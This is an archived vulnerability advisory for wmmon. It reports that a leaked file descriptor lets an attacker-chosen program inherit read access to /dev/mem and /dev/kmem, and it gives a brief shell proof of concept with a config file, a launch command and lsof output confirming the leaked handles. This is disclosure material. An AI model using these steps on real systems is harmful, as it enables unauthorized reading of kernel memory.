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source: http://www.securityfocus.com/bid/5718/info It has been reported that wmmon is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through wmmon. The program that is executed can be specified by the attacker at the command line. bash-2.05a$ cat .wmmonrc left "/home/dim/dummy" bash-2.05a$ wmmon &  793 bash-2.05a$ Monitoring 5 devices for activity. current stat is :1 bash-2.05a$ /usr/local/sbin/lsof |grep dummy|grep mem dummy 797 dim 3r VCHR 2,0 0t0 21146 /dev/mem dummy 797 dim 4r VCHR 2,1 0xc040f54c 21145 /dev/kmem